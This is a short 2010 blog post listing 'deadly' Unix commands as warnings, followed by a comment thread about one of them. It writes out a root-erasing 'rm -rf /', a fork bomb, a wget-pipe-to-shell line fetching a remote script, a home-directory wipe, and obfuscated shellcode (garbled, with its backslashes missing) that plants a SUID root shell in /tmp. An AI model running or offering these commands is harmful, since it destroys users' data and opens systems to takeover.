Ben's Blog

I.T., unix / linux ben December 21, 2010

Deadly Unix Commands

  • the oldie but goodie

[bash]rm -rf /[/bash]

will recursively/force erase starting from the root directory

  • the obfuscated oldie but goodie

[bash]char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";[/bash]

same as the previous one but harder to tell what it actually does

  • the fork bomb

[bash]<code class="plain plain">:(){:|:&};:</code>[/bash]

forks processes until the box dies. note that this command should not result in permanent damage unlike the other ones.

  • running code from a remote source

[bash]wget http://remote_source.com/lulscript -O- | sh[/bash]

lulscript will be executed on the local machine

  • the one you don’t need root for

[bash]mv ~/* /dev/null[/bash]

sends the relative home directory into a black hole

Recent Comments

  1. Hilcon says:
    June 8, 2020 at 2:43 pm

    Why the command “cp /bin/sh /tmp/beyond; chmod 4755 /tmp/beyond” is dangerous??

    Why?

    Reply
    • ben says:
      June 8, 2020 at 4:05 pm

      You’re taking a shell, copying it into a world readable folder, and you’re setting the SUID bit. This means any user can execute a shell as the owner, presumably root.

      For example, say someone compromised a website running on the same machine, they would be able to run any command as root, not just be bound by the web user.

      Reply

Leave a Comment

Cancel reply

This blog is solar powered

Interactive

Handwriting Capture
Mandalagaba
IPv6 link-local to MAC converter
IPv6 MAC to link-local converter
Markov Text Generation
Markov Word Generation
Markov Music Generation
Duplogrifier
Flood Fill Algorithms
Homestead Metrics
RGB Playground
Web Games

Categories

  • aesthetics111
    • plots54
    • specular holography6
  • Books3
  • I.T.202
    • 3D modeling / printing21
    • AI6
    • all out geekery36
    • electronics27
    • homestead automation6
    • maniacal paranoia25
    • plotters49
    • unix / linux29
    • video games4
    • web development29
    • web games3
  • Lego / Duplo67
  • life in the U.S.42
  • miscellaneous202
  • nature encounters114
  • old vinyls3
  • organs2
  • self sustainability560
    • agriculture105
    • apiculture38
    • apple20
    • building131
    • canning3
    • crochet6
    • foraging6
    • hunting10
    • maple syrup47
    • poultry39
    • preserving2
    • solar power28
    • water23
    • wood84
  • trip to a new life6
Theme by Bloompixel. Proudly Powered by WordPress